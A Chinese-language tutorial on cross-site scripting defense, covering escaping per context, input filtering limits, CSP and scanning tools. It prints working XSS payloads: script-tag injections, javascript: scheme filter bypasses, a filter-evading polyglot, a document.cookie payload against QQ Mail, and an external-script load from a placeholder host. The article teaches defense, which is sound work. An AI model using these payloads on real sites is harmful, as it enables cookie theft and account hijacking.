天天看點

如何防止XSS攻擊?

來自: https://www.freebuf.com/articles/web/185654.html

前端安全 

随着網際網路的高速發展,資訊安全問題已經成為企業最為關注的焦點之一,而前端又是引發企業安全問題的高危據點。在移動網際網路時代,前端人員除了傳統的 XSS、CSRF 等安全問題之外,又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。當然,浏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性,但是仍存在很多潛在的威脅,這需要前端技術人員不斷進行“查漏補缺”。

近幾年,美團業務高速發展,前端随之面臨很多安全挑戰,是以積累了大量的實踐經驗。我們梳理了常見的前端安全問題以及對應的解決方案,将會做成一個系列,希望可以幫助前端人員在日常開發中不斷預防和修複安全漏洞。本文是該系列的第一篇。

本文我們會講解 XSS ,主要包括:

1.XSS 攻擊的介紹

2.XSS 攻擊的分類

3.XSS 攻擊的預防和檢測

4.XSS 攻擊的總結

5.XSS 攻擊案例

XSS 攻擊的介紹

在開始本文之前,我們先提出一個問題,請判斷以下兩個說法是否正确:

1.XSS 防範是後端 RD(研發人員)的責任,後端 RD 應該在所有使用者送出資料的接口,對敏感字元進行轉義,才能進行下一步操作。

2.所有要插入到頁面上的資料,都要通過一個敏感字元過濾函數的轉義,過濾掉通用的敏感字元後,就可以插入到頁面中。

如果你還不能确定答案,那麼可以帶着這些問題向下看,我們将逐漸拆解問題。

XSS 漏洞的發生和修複

XSS 攻擊是頁面被注入了惡意的代碼,為了更形象的介紹,我們用發生在小明同學身邊的事例來進行說明。

一個案例

某天,公司需要一個搜尋頁面,根據 URL 參數決定關鍵詞的内容。小明很快把頁面寫好并且上線。代碼如下:

< input   type = "text"   value = "<%= getParameter("  keyword ") %> ">
 < button > 搜尋 </ button > 
 < div > 
  您搜尋的關鍵詞是: < %=   getParameter (" keyword ") %> 
 </ div > 
           

然而,在上線後不久,小明就接到了安全組發來的一個神秘連結:

http://xxx/search?keyword="><script>alert(\'XSS\');</script>

小明帶着一種不祥的預感點開了這個連結 [請勿模仿,确認安全的連結才能點開] 。果然,頁面中彈出了寫着”XSS”的對話框。

可惡,中招了!小明眉頭一皺,發現了其中的奧秘:

當浏覽器請求 

http://xxx/search?keyword="><script>alert(\'XSS\');</script>

 時,服務端會解析出請求參數 

keyword

,得到 

"><script>alert(\'XSS\');</script>

,拼接到 HTML 中傳回給浏覽器。形成了如下的 HTML:

< input   type = "text"   value = "" >  < script >  alert( \'XSS\' );  </ script > ">
< button > 搜尋 </ button > 
< div > 
  您搜尋的關鍵詞是:"> < script >  alert( \'XSS\' );  </ script > 
</ div > 
           

浏覽器無法分辨出 

<script>alert(\'XSS\');</script>

 是惡意代碼,因而将其執行。

這裡不僅僅 div 的内容被注入了,而且 input 的 value 屬性也被注入, alert 會彈出兩次。

面對這種情況,我們應該如何進行防範呢?

其實,這隻是浏覽器把使用者的輸入當成了腳本進行了執行。那麼隻要告訴浏覽器這段内容是文本就可以了。

聰明的小明很快找到解決方法,把這個漏洞修複:

< input   type = "text"   value = "<%= escapeHTML(getParameter("  keyword ")) %> ">
 < button > 搜尋 </ button > 
 < div > 
  您搜尋的關鍵詞是: < %=   escapeHTML ( getParameter (" keyword ")) %> 
 </ div > 
           

escapeHTML()

 按照如下規則進行轉義:

|字元|轉義後的字元| 

|-|-| 

|

&

|

&amp;

|

<

|

&lt;

|

>

|

&gt;

|

"

|

&quot;

|

\'

|

&#x27;

|

/

|

&#x2F;

|

經過了轉義函數的處理後,最終浏覽器接收到的響應為:

< input   type = "text"   value = "&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;" > 
< button > 搜尋 </ button > 
< div > 
  您搜尋的關鍵詞是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
 </ div > 
           

惡意代碼都被轉義,不再被浏覽器執行,而且搜尋詞能夠完美的在頁面顯示出來。

通過這個事件,小明學習到了如下知識:

通常頁面中包含的使用者輸入内容都在固定的容器或者屬性内,以文本的形式展示。

攻擊者利用這些頁面的使用者輸入片段,拼接特殊格式的字元串,突破原有位置的限制,形成了代碼片段。

攻擊者通過在目标網站上注入腳本,使之在使用者的浏覽器上運作,進而引發潛在風險。

通過 HTML 轉義,可以防止 XSS 攻擊。 [事情當然沒有這麼簡單啦!請繼續往下看] 。

注意特殊的 HTML 屬性、JavaScript API

自從上次事件之後,小明會小心的把插入到頁面中的資料進行轉義。而且他還發現了大部分模闆都帶有的轉義配置,讓所有插入到頁面中的資料都預設進行轉義。這樣就不怕不小心漏掉未轉義的變量啦,于是小明的工作又漸漸變得輕松起來。

但是,作為導演的我,不可能讓小明這麼簡單、開心地改 Bug 。

不久,小明又收到安全組的神秘連結:

http://xxx/?redirect_to=javascript:alert(\'XSS\')

。小明不敢大意,趕忙點開頁面。然而,頁面并沒有自動彈出萬惡的“XSS”。

小明打開對應頁面的源碼,發現有以下内容:

< a href = "<%= escapeHTML(getParameter("  redirect_to ")) %> ">跳轉... </ a > 
           

這段代碼,當攻擊 URL 為 

http://xxx/?redirect_to=javascript:alert(\'XSS\')

,服務端響應就成了:

< a href = "javascript:alert(&#x27;XSS&#x27;)" > 跳轉... </ a > 
           

雖然代碼不會立即執行,但一旦使用者點選 

a

 标簽時,浏覽器會就會彈出“XSS”。

可惡,又失策了…

在這裡,使用者的資料并沒有在位置上突破我們的限制,仍然是正确的 href 屬性。但其内容并不是我們所預期的類型。

原來不僅僅是特殊字元,連 

javascript:

 這樣的字元串如果出現在特定的位置也會引發 XSS 攻擊。

小明眉頭一皺,想到了解決辦法:

// 禁止 URL 以 "javascript:" 開頭 
xss = getParameter( "redirect_to" ).startsWith( \'javascript:\' );
if  (!xss) {
  <a href= "<%= escapeHTML(getParameter(" redirect_to "))%>" >
    跳轉...
  </a>
}  else  {
  <a href= "/404" >
    跳轉...
  </a>
}
           

隻要 URL 的開頭不是 

javascript:

,就安全了吧?

安全組随手又扔了一個連接配接:

http://xxx/?redirect_to=jAvascRipt:alert(\'XSS\')

這也能執行?…..好吧,浏覽器就是這麼強大。

小明欲哭無淚,在判斷 URL 開頭是否為 

javascript:

 時,先把使用者輸入轉成了小寫,然後再進行比對。

不過,所謂“道高一尺,魔高一丈”。面對小明的防護政策,安全組就構造了這樣一個連接配接:

http://xxx/?redirect_to=%20javascript:alert(\'XSS\')

%20javascript:alert(\'XSS\')

 經過 URL 解析後變成 

javascript:alert(\'XSS\')

,這個字元串以空格開頭。這樣攻擊者可以繞過後端的關鍵詞規則,又成功的完成了注入。

最終,小明選擇了白名單的方法,徹底解決了這個漏洞:

// 根據項目情況進行過濾,禁止掉 "javascript:" 連結、非法 scheme 等 
allowSchemes = [ "http" ,  "https" ];

valid = isValid(getParameter( "redirect_to" ), allowSchemes);

if  (valid) {
  <a href= "<%= escapeHTML(getParameter(" redirect_to "))%>" >
    跳轉...
  </a>
}  else  {
  <a href= "/404" >
    跳轉...
  </a>
}
           

通過這個事件,小明學習到了如下知識:

1.做了 HTML 轉義,并不等于高枕無憂。

2.對于連結跳轉,如 

&lt;a href="xxx"

 或 

location.href="xxx"

,要檢驗其内容,禁止以 

javascript:

 開頭的連結,和其他非法的 scheme。

根據上下文采用不同的轉義規則

某天,小明為了加快網頁的加載速度,把一個資料通過 JSON 的方式内聯到 HTML 中:

< script >  
 var  initData =   < %=   data.toJSON () %> 
</ script > 
           

插入 JSON 的地方不能使用 

escapeHTML()

,因為轉義 

"

 後,JSON 格式會被破壞。

但安全組又發現有漏洞,原來這樣内聯 JSON 也是不安全的:

1.當 JSON 中包含 

U+2028

 或 

U+2029

 這兩個字元時,不能作為 JavaScript 的字面量使用,否則會抛出文法錯誤。

2.當 JSON 中包含字元串 時,目前的 script 标簽将會被閉合,後面的字元串内容浏覽器會按照 HTML 進行解析;通過增加下一個 

<script>

 标簽等方法就可以完成注入。

于是我們又要實作一個 

escapeEmbedJSON()

 函數,對内聯 JSON 進行轉義。

轉義規則如下:

|字元|轉義後的字元| 

|-|-| 

|

U+2028

|

\u2028

|

U+2029

|

\u2029

|

<

|

\u003c

|

修複後的代碼如下:

< script >  
 var  initData =   < %=   escapeEmbedJSON ( data.toJSON ()) %> 
           

通過這個事件,小明學習到了如下知識:

1.HTML 轉義是非常複雜的,在不同的情況下要采用不同的轉義規則。如果采用了錯誤的轉義規則,很有可能會埋下 XSS 隐患。

2.應當盡量避免自己寫轉義庫,而應當采用成熟的、業界通用的轉義庫。

漏洞總結

小明的例子講完了,下面我們來系統的看下 XSS 有哪些注入的方法:

在 HTML 中内嵌的文本中,惡意内容以 script 标簽形成注入。

在内聯的 JavaScript 中,拼接的資料突破了原本的限制(字元串,變量,方法名等)。

在标簽屬性中,惡意内容包含引号,進而突破屬性值的限制,注入其他屬性或者标簽。

在标簽的 href、src 等屬性中,包含 

javascript:

 等可執行代碼。

在 onload、onerror、onclick 等事件中,注入不受控制代碼。

在 style 屬性和标簽中,包含類似 

background-image:url("javascript:…");

 的代碼(新版本浏覽器已經可以防範)。

在 style 屬性和标簽中,包含類似 

expression(…)

 的 CSS 表達式代碼(新版本浏覽器已經可以防範)。

總之,如果開發者沒有将使用者輸入的文本進行合适的過濾,就貿然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構造出惡意的代碼指令,進而利用惡意代碼危害資料安全。

XSS 攻擊的分類

通過上述幾個例子,我們已經對 XSS 有了一些認識。

什麼是 XSS

Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目标網站上注入惡意腳本,使之在使用者的浏覽器上運作。利用這些惡意腳本,攻擊者可擷取使用者的敏感資訊如 Cookie、SessionID 等,進而危害資料安全。

為了和 CSS 區分,這裡把攻擊的第一個字母改成了 X,于是叫做 XSS。

XSS 的本質是:惡意代碼未經過濾,與網站正常的代碼混在一起;浏覽器無法分辨哪些腳本是可信的,導緻惡意腳本被執行。

而由于直接在使用者的終端執行,惡意代碼能夠直接擷取使用者的資訊,或者利用這些資訊冒充使用者向網站發起攻擊者定義的請求。

在部分情況下,由于輸入的限制,注入的惡意腳本比較短。但可以通過引入外部的腳本,并由浏覽器執行,來完成比較複雜的攻擊政策。

這裡有一個問題:使用者是通過哪種方法“注入”惡意腳本的呢?

不僅僅是業務上的“使用者的 UGC 内容”可以進行注入,包括 URL 上的參數等都可以是攻擊的來源。在處理輸入時,以下内容都不可信:

來自使用者的 UGC 資訊

來自第三方的連結

URL 參數

POST 參數

Referer (可能來自不可信的來源)

Cookie (可能來自其他子域注入)

XSS 分類

根據攻擊的來源,XSS 攻擊可分為存儲型、反射型和 DOM 型三種。

|類型|存儲區|插入點| 

|-|-| 

|存儲型 XSS|後端資料庫|HTML| 

|反射型 XSS|URL|HTML| 

|DOM 型 XSS|後端資料庫/前端存儲/URL|前端 JavaScript|

存儲區:惡意代碼存放的位置。

插入點:由誰取得惡意代碼,并插入到網頁上。

存儲型 XSS

存儲型 XSS 的攻擊步驟:

1.攻擊者将惡意代碼送出到目标網站的資料庫中。

2.使用者打開目标網站時,網站服務端将惡意代碼從資料庫取出,拼接在 HTML 中傳回給浏覽器。

3.使用者浏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。

4.惡意代碼竊取使用者資料并發送到攻擊者的網站,或者冒充使用者的行為,調用目标網站接口執行攻擊者指定的操作。

這種攻擊常見于帶有使用者儲存資料的網站功能,如論壇發帖、商品評論、使用者私信等。

反射型 XSS

反射型 XSS 的攻擊步驟:

1.攻擊者構造出特殊的 URL,其中包含惡意代碼。

2.使用者打開帶有惡意代碼的 URL 時,網站服務端将惡意代碼從 URL 中取出,拼接在 HTML 中傳回給浏覽器。

3.使用者浏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。

4.惡意代碼竊取使用者資料并發送到攻擊者的網站,或者冒充使用者的行為,調用目标網站接口執行攻擊者指定的操作。

反射型 XSS 跟存儲型 XSS 的差別是:存儲型 XSS 的惡意代碼存在資料庫裡,反射型 XSS 的惡意代碼存在 URL 裡。

反射型 XSS 漏洞常見于通過 URL 傳遞參數的功能,如網站搜尋、跳轉等。

由于需要使用者主動打開惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導使用者點選。

POST 的内容也可以觸發反射型 XSS,隻不過其觸發條件比較苛刻(需要構造表單送出頁面,并引導使用者點選),是以非常少見。

DOM 型 XSS

DOM 型 XSS 的攻擊步驟:

1.攻擊者構造出特殊的 URL,其中包含惡意代碼。

2.使用者打開帶有惡意代碼的 URL。

3.使用者浏覽器接收到響應後解析執行,前端 JavaScript 取出 URL 中的惡意代碼并執行。

4.惡意代碼竊取使用者資料并發送到攻擊者的網站,或者冒充使用者的行為,調用目标網站接口執行攻擊者指定的操作。

DOM 型 XSS 跟前兩種 XSS 的差別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由浏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務端的安全漏洞。

XSS 攻擊的預防

通過前面的介紹可以得知,XSS 攻擊有兩大要素:

1.攻擊者送出惡意代碼。

2.浏覽器執行惡意代碼。

針對第一個要素:我們是否能夠在使用者輸入的過程,過濾掉使用者輸入的惡意代碼呢?

輸入過濾

在使用者送出時,由前端過濾輸入,然後送出到後端。這樣做是否可行呢?

答案是不可行。一旦攻擊者繞過前端過濾,直接構造請求,就可以送出惡意代碼了。

那麼,換一個過濾時機:後端在寫入資料庫前,對輸入進行過濾,然後把“安全的”内容,傳回給前端。這樣是否可行呢?

我們舉一個例子,一個正常的使用者輸入了 

5 < 7

 這個内容,在寫入資料庫前,被轉義,變成了 

5 &lt; 7

問題是:在送出階段,我們并不确定内容要輸出到哪裡。

這裡的“并不确定内容要輸出到哪裡”有兩層含義:

1.使用者的輸入内容可能同時提供給前端和用戶端,而一旦經過了

escapeHTML()

,用戶端顯示的内容就變成了亂碼( 

5 &lt; 7

)。

2.在前端中,不同的位置所需的編碼也不同。

當 

5 &lt; 7

 作為 HTML 拼接頁面時,可以正常顯示:< div   title = “comment” > 5 &lt; 7 </ div >。

當 

5 &lt; 7

 通過 Ajax 傳回,然後指派給 JavaScript 的變量時,前端得到的字元串就是轉義後的字元。這個内容不能直接用于 Vue 等模闆的展示,也不能直接用于内容長度計算。不能用于标題、alert 等。

是以,輸入側過濾能夠在某些情況下解決特定的 XSS 問題,但會引入很大的不确定性和亂碼問題。在防範 XSS 攻擊時應避免此類方法。

當然,對于明确的輸入類型,例如數字、URL、電話号碼、郵件位址等等内容,進行輸入過濾還是必要的。

既然輸入過濾并非完全可靠,我們就要通過“防止浏覽器執行惡意代碼”來防範 XSS。這部分分為兩類:

1.防止 HTML 中出現注入。

2.防止 JavaScript 執行時,執行惡意代碼。

預防存儲型和反射型 XSS 攻擊

存儲型和反射型 XSS 都是在服務端取出惡意代碼後,插入到響應 HTML 裡的,攻擊者刻意編寫的“資料”被内嵌到“代碼”中,被浏覽器所執行。

預防這兩種漏洞,有兩種常見做法:

1.改成純前端渲染,把代碼和資料分隔開。

2.對 HTML 做充分轉義。

純前端渲染

純前端渲染的過程:

1.浏覽器先加載一個靜态 HTML,此 HTML 中不包含任何跟業務相關的資料。

2.然後浏覽器執行 HTML 中的 JavaScript。

3.JavaScript 通過 Ajax 加載業務資料,調用 DOM API 更新到頁面上。

在純前端渲染中,我們會明确的告訴浏覽器:下面要設定的内容是文本(

.innerText

),還是屬性(

.setAttribute

),還是樣式(

.style

)等等。浏覽器不會被輕易的被欺騙,執行預期外的代碼了。

但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 

onload

 事件和 

href

 中的 

javascript:xxx

 等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。

在很多内部、管理系統中,采用純前端渲染是非常合适的。但對于性能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。

轉義 HTML

如果拼接 HTML 是必要的,就需要采用合适的轉義庫,對 HTML 模闆各處插入點進行充分的轉義。

常用的模闆引擎,如 doT.js、ejs、FreeMarker 等,對于 HTML 轉義通常隻有一個規則,就是把 

& < > " \' /

 這幾個字元轉義掉,确實能起到一定的 XSS 防護作用,但并不完善:

|XSS 安全漏洞|簡單轉義是否有防護作用| 

|-|-| 

|HTML 标簽文字内容|有| 

|HTML 屬性值|有| 

|CSS 内聯樣式|無| 

|内聯 JavaScript|無| 

|内聯 JSON|無| 

|跳轉連結|無|

是以要完善 XSS 防護措施,我們要使用更完善更細緻的轉義政策。

例如 Java 工程裡,常用的轉義庫為 

org.owasp.encoder

。以下代碼引用自 org.owasp.encoder 的官方說明。

<!-- HTML 标簽内文字内容 --> 
 < div >  < %=   Encode.forHtml ( UNTRUSTED ) %>  </ div > 

 <!-- HTML 标簽屬性值 --> 
 < input   value = "<%= Encode.forHtml(UNTRUSTED) %>"  /> 

 <!-- CSS 屬性值 --> 
 < div   style = "width:<= Encode.forCssString(UNTRUSTED) %>" > 

 <!-- CSS URL --> 
 < div   style = "background:<= Encode.forCssUrl(UNTRUSTED) %>" > 

 <!-- JavaScript 内聯代碼塊 --> 
 < script >  
   var  msg =  "<%= Encode.forJavaScript(UNTRUSTED) %>" ;
  alert(msg);
  </ script > 
 <!-- JavaScript 内聯代碼塊内嵌 JSON --> 
 < script >  
var  __INITIAL_STATE__ =  JSON .parse( \'<%= Encoder.forJavaScript(data.to_json) %>\' );
  </ script > 
 <!-- HTML 标簽内聯監聽器 --> 
 < button 
   onclick = "alert(\'<%= Encode.forJavaScript(UNTRUSTED) %>\');" > 
  click me
 </ button > 
 <!-- URL 參數 --> 
 < a   href = "/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top" > 
 <!-- URL 路徑 --> 
 < a   href = "/page/<%= Encode.forUriComponent(UNTRUSTED) %>" > 
 <!--
  URL.
  注意:要根據項目情況進行過濾,禁止掉 "javascript:" 連結、非法 scheme 等
--> 
 < a   href = \'<%=
  urlValidator.isValid(UNTRUSTED) ?
    Encode.forHtml(UNTRUSTED) :
    "/404"
%>\' > 
  link
 </ a > 
           

可見,HTML 的編碼是十分複雜的,在不同的上下文裡要使用相應的轉義規則。

預防 DOM 型 XSS 攻擊

DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼本身不夠嚴謹,把不可信的資料當作代碼執行了。

在使用 

.innerHTML

.outerHTML

document.write()

 時要特别小心,不要把不可信的資料作為 HTML 插到頁面上,而應盡量使用 

.textContent

.setAttribute()

 等。

如果用 Vue/React 技術棧,并且不使用 

v-html

/

dangerouslySetInnerHTML

 功能,就在前端 render 階段避免 

innerHTML

outerHTML

 的 XSS 隐患。

DOM 中的内聯事件監聽器,如 

location

onclick

onerror

onload

onmouseover

 等,

<a>

 标簽的 

href

 屬性,JavaScript 的 

eval()

setTimeout()

setInterval()

 等,都能把字元串作為代碼運作。如果不可信的資料拼接到字元串中傳遞給這些 API,很容易産生安全隐患,請務必避免。

<!-- 内聯事件監聽器中包含惡意代碼 --> 
< img   onclick = "UNTRUSTED"   onerror = "UNTRUSTED"   src = "data:image/png," > 
<!-- 連結内包含惡意代碼 --> 
< a   href = "UNTRUSTED" > 1 </ a > 
< script >  
 // setTimeout()/setInterval() 中調用惡意代碼 
setTimeout( "UNTRUSTED" )
setInterval( "UNTRUSTED" )
 // location 調用惡意代碼 
location.href =  \'UNTRUSTED\' 
 // eval() 中調用惡意代碼 
 eval ( "UNTRUSTED" )
</ script > 
           

如果項目中有用到這些的話,一定要避免在字元串中拼接不可信資料。

其他 XSS 防範措施

雖然在渲染頁面和執行 JavaScript 時,通過謹慎的轉義可以防止 XSS 的發生,但完全依靠開發的謹慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來的風險和後果。

Content Security Policy

嚴格的 CSP 在 XSS 的防範中可以起到以下的作用:

禁止加載外域代碼,防止複雜的攻擊邏輯。

禁止外域送出,網站被攻擊後,使用者的資料不會洩露到外域。

禁止内聯腳本執行(規則較嚴格,目前發現 GitHub 使用)。

禁止未授權的腳本執行(新特性,Google Map 移動版在使用)。

合理使用上報可以及時發現 XSS,利于盡快修複問題。

關于 CSP 的詳情,請關注前端安全系列後續的文章。

輸入内容長度控制

對于不受信任的輸入,都應該限定一個合理的長度。雖然無法完全防止 XSS 發生,但可以增加 XSS 攻擊的難度。

其他安全措施

HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入後也無法竊取此 Cookie。

驗證碼:防止腳本冒充使用者送出危險操作。

XSS 的檢測

上述經曆讓小明收獲頗豐,他也學會了如何去預防和修複 XSS 漏洞,在日常開發中也具備了相關的安全意識。但對于已經上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?

經過一番搜尋,小明找到了兩個方法:

1.使用通用 XSS 攻擊字元串手動檢測 XSS 漏洞。

2.使用掃描工具自動檢測 XSS 漏洞。

在Unleashing an Ultimate XSS Polyglot一文中,小明發現了這麼一個字元串:

jaVasCript: /*-/*`/*\`/*\'/*"/**/ ( /* */ oNcliCk=alert() ) //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 
           

它能夠檢測到存在于 HTML 屬性、HTML 文字内容、HTML 注釋、跳轉連結、内聯 JavaScript 字元串、内聯 CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 

eval()

setTimeout()

setInterval()

Function()

innerHTML

document.write()

 等 DOM 型 XSS 漏洞,并且能繞過一些 XSS 過濾器。

小明隻要在網站的各輸入框中送出這個字元串,或者把它拼接到 URL 參數上,就可以進行檢測了。

http ://xxx/search?keyword=jaVasCript %3 A %2 F*- %2 F* %60  %2 F* %60  %2 F* %27  %2 F* %22  %2 F** %2 F( %2 F* %20 * %2 FoNcliCk %3 Dalert() %20 ) %2 F %2 F %250 D %250 A %250 d %250 a %2 F %2 F %3 C %2 FstYle %2 F %3 C %2 FtitLe %2 F %3 C %2 FteXtarEa %2 F %3 C %2 FscRipt %2 F--! %3 E %3 CsVg %2 F %3 CsVg %2 FoNloAd %3 Dalert() %2 F %2 F %3 E %3 E
           

除了手動檢測之外,還可以使用自動掃描工具尋找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。

XSS 攻擊的總結

我們回到最開始提出的問題,相信同學們已經有了答案:

1.XSS 防範是後端 RD 的責任,後端 RD 應該在所有使用者送出資料的接口,對敏感字元進行轉義,才能進行下一步操作。

不正确。因為:

防範存儲型和反射型 XSS 是後端 RD 的責任。而 DOM 型 XSS 攻擊不發生在後端,是前端 RD 的責任。防範 XSS 是需要後端 RD 和前端 RD 共同參與的系統工程。

轉義應該在輸出 HTML 時進行,而不是在送出使用者輸入時。

2.所有要插入到頁面上的資料,都要通過一個敏感字元過濾函數的轉義,過濾掉通用的敏感字元後,就可以插入到頁面中。

不正确。 

不同的上下文,如 HTML 屬性、HTML 文字内容、HTML 注釋、跳轉連結、内聯 JavaScript 字元串、内聯 CSS 樣式表等,所需要的轉義規則不一緻。 

業務 RD 需要選取合适的轉義庫,并針對不同的上下文調用不同的轉義規則。

整體的 XSS 防範是非常複雜和繁瑣的,我們不僅需要在全部需要轉義的位置,對資料進行對應的轉義。而且要防止多餘和錯誤的轉義,避免正常的使用者輸入出現亂碼。

雖然很難通過技術手段完全避免 XSS,但我們可以總結以下原則減少漏洞的産生:

利用模闆引擎

開啟模闆引擎自帶的 HTML 轉義功能。例如: 

在 ejs 中,盡量使用 

<%= data %>

 而不是 

<%- data %>

; 

在 doT.js 中,盡量使用 

{{! data }

 而不是 

{{= data }

; 

在 FreeMarker 中,確定引擎版本高于 2.3.24,并且選擇正确的 

freemarker.core.OutputFormat

避免内聯事件

盡量不要使用 

onLoad="onload(\'{{data}}\')"

onClick="go(\'{{action}}\')"

 這種拼接内聯事件的寫法。在 JavaScript 中通過 

.addEventlistener()

 事件綁定會更安全。

避免拼接 HTML

前端采用拼接 HTML 的方法比較危險,如果架構允許,使用 

createElement

setAttribute

 之類的方法實作。或者采用比較成熟的渲染架構,如 Vue/React 等。

時刻保持警惕

在插入位置為 DOM 屬性、連結等位置時,要打起精神,嚴加防範。

增加攻擊難度,降低攻擊後果

通過 CSP、輸入長度配置、接口安全措施等方法,增加攻擊的難度,降低攻擊的後果。

主動檢測和發現

可使用 XSS 攻擊字元串和自動掃描工具尋找潛在的 XSS 漏洞。

XSS 攻擊案例

QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻擊者發現 

http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb

 這個 URL 的參數 

uin

domain

 未經轉義直接輸出到 HTML 中。

于是攻擊者建構出一個 URL,并引導使用者去點選: 

http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

使用者點選這個 URL 時,服務端取出 URL 參數,拼接到 HTML 響應中:

<script>  
getTop().location.href= "/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa" + "&t=" + "&d=bbbb" ; return   false ;  </ script >  < script >  alert( document .cookie)  </ script > "+"...
           

浏覽器接收到響應後就會執行 

alert(document.cookie)

,攻擊者通過 JavaScript 即可竊取目前使用者在 QQ 郵箱域名下的 Cookie ,進而危害資料安全。

新浪微網誌名人堂反射型 XSS 漏洞

攻擊者發現 

http://weibo.com/pub/star/g/xyyyd

 這個 URL 的内容未經過濾直接輸出到 HTML 中。

于是攻擊者建構出一個 URL,然後誘導使用者去點選:

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

使用者點選這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:

<li>  <a href = "http://weibo.com/pub/star/g/xyyyd" >  < script   src = //xxxx.cn/image/t.js >  </ script > ">按分類檢索 </ a >  </ li > 
           

浏覽器接收到響應後就會加載執行惡意腳本 

//xxxx.cn/image/t.js

,在惡意腳本中利用使用者的登入狀态進行關注、發微網誌、發私信等操作,發出的微網誌和私信可再帶上攻擊 URL,誘導更多人點選,不斷放大攻擊範圍。這種竊用受害者身份釋出惡意内容,層層放大攻擊範圍的方式,被稱為“XSS 蠕蟲”。

擴充閱讀:Automatic Context-Aware Escaping

上文我們說到:

1.合适的 HTML 轉義可以有效避免 XSS 漏洞。

2.完善的轉義庫需要針對上下文制定多種規則,例如 HTML 屬性、HTML 文字内容、HTML 注釋、跳轉連結、内聯 JavaScript 字元串、内聯 CSS 樣式表等等。

3.業務 RD 需要根據每個插入點所處的上下文,選取不同的轉義規則。

通常,轉義庫是不能判斷插入點上下文的(Not Context-Aware),實施轉義規則的責任就落到了業務 RD 身上,需要每個業務 RD 都充分了解 XSS 的各種情況,并且需要保證每一個插入點使用了正确的轉義規則。

這種機制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發現隐患。

2009年,Google 提出了一個概念叫做:Automatic Context-Aware Escaping。

所謂 Context-Aware,就是說模闆引擎在解析模闆字元串的時候,就解析模闆文法,分析出每個插入點所處的上下文,據此自動選用不同的轉義規則。這樣就減輕了業務 RD 的工作負擔,也減少了人為帶來的疏漏。

在一個支援 Automatic Context-Aware Escaping 的模闆引擎裡,業務 RD 可以這樣定義模闆,而無需手動實施轉義規則:

< html > 
   < head > 
     < meta   charset = "UTF-8" > 
     < title > {{.title}} </ title > 
   </ head > 
   < body > 
     < a   href = "{{.url}}" > {{.content}} </ a > 
   </ body > 
</ html > 
           

模闆引擎經過解析後,得知三個插入點所處的上下文,自動選用相應的轉義規則:

< html > 
   < head > 
     < meta   charset = "UTF-8" > 
     < title > {{.title | htmlescaper}} </ title > 
   </ head > 
   < body > 
     < a   href = "{{.url | urlescaper | attrescaper}}" > {{.content | htmlescaper}} </ a > 
   </ body > 
</ html > 
           

目前已經支援 Automatic Context-Aware Escaping 的模闆引擎有:

1.go html/template

2.Google Closure Templates

課後作業:XSS 攻擊小遊戲

以下是幾個 XSS 攻擊小遊戲,開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上送出相應的輸入,完成 XSS 攻擊即可通關。

在玩遊戲的過程中,請各位讀者仔細思考和回顧本文内容,加深對 XSS 攻擊的了解。

alert(1) to win 

prompt(1) to win 

XSS game